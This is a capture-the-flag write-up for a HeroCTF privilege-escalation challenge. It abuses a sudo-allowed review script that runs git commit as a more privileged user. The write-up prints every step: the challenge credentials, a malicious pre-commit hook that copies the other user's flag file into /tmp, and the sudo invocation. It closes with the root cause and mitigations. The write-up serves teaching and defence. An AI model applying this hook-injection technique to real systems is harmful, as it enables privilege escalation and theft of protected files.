dyn11.heroctf.fr14721https://deploy.heroctf.frintern:fairy^Hero{\S+}$ (e.g. Hero{...})Peter Pan and Captain Hook are once again fighting in Neverland, instead of working and pushing PRs into production. Since this is a regular occurrence, we have created a script that allows the intern to review PRs in their stead. Please don’t touch Peter’s fairy powder stock in
/home/peter/flag.txt…
As intern, we’re given SSH access to a box where Peter (a more privileged user) owns the flag.
Our goal is to escalate from intern to reading /home/peter/flag.txt.
We’re given direct SSH credentials:
ssh -p 14721 intern@dyn11.heroctf.fr
# password: fairy
Once logged in as intern, we start with the usual privilege enumeration.
Check sudo permissions:
sudo -l
Output:
Matching Defaults entries for intern on this host:
...
User intern may run the following commands on this host:
(peter) /opt/commit.sh
So as intern we can run one command as user peter:
sudo -u peter /opt/commit.sh <args>
This is our privilege-escalation vector.
/opt/commit.shReading /opt/commit.sh (or tracing its behaviour) shows that it:
peter, something like:/home/peter/git-review-$$/reporepo directory./app:
HEAD commit hash must match the one in /app/.git/HEAD..git/config file hash must match /app/.git/config.If both checks pass, it runs:
git add .
git commit -m "Accepted user submission"
The important insight: Git executes hooks (from .git/hooks/*) as the user running Git.
Here, Git runs as peter, so any hook we provide will execute with peter’s permissions.
Crucially, Git hooks are not part of the commit hash and are not tracked by Git, so the script’s
integrity checks do not cover .git/hooks/. That means we can:
HEAD and .git/config match /app..git/hooks/.git commit, which triggers the hook as peter./app so our repo passes the integrity checks./home/peter/flag.txt and writes it to a
location readable by intern (e.g., /tmp/neverland_flag.txt)./opt/commit.sh as peter with our tar archive.intern.From intern’s home:
cd ~
cp -r /app repo
cd repo
Now ./repo is a copy of the official repository in /app, including its .git directory.
This ensures our HEAD and .git/config will match the expected values.
We’ll use a pre-commit hook that runs just before git commit completes.
The hook will copy the flag into a world-readable file under /tmp.
mkdir -p .git/hooks
cat > .git/hooks/pre-commit << 'EOF'
#!/bin/bash
cat /home/peter/flag.txt > /tmp/neverland_flag.txt
chmod 644 /tmp/neverland_flag.txt
exit 0
EOF
chmod +x .git/hooks/pre-commit
What this does:
cat /home/peter/flag.txt > /tmp/neverland_flag.txt/tmp.chmod 644 /tmp/neverland_flag.txtintern user can read it.exit 0Because .git/hooks is not covered by Git’s integrity mechanisms, the script’s checks will still pass.
Go back to the home directory and tar the repo:
cd ~
tar -czf repo.tar.gz repo
This creates ~/repo.tar.gz, containing our valid repo + malicious hook.
peterNow we invoke the privileged script with our archive:
sudo -u peter /opt/commit.sh /home/intern/repo.tar.gz
What happens behind the scenes:
repo.tar.gz into a temporary review directory as peter.HEAD commit and .git/config match /app → they do, because we copied /app.It runs:
git add .
git commit -m "Accepted user submission"
git commit triggers our pre-commit hook as peter./tmp/neverland_flag.txt with mode 644.internBack as intern, simply read the file from /tmp:
cat /tmp/neverland_flag.txt
This prints the flag:
Hero{redacted_flag_here}
Replace the placeholder with the actual flag you obtained during the CTF.
Root issue:
intern) to supply a full Git repository and then
runs git commit as a more privileged user (peter) without sanitising or regenerating the
.git directory..git/hooks/ are executable code not protected by commit hashes or config checks.peter.Key lessons:
git, etc.) on user-controlled repositories as a higher-privileged user
without extreme care..git yourself and only copy over the working tree (no hooks or metadata).Disable hooks explicitly, e.g.:
git -c core.hooksPath=/dev/null commit ...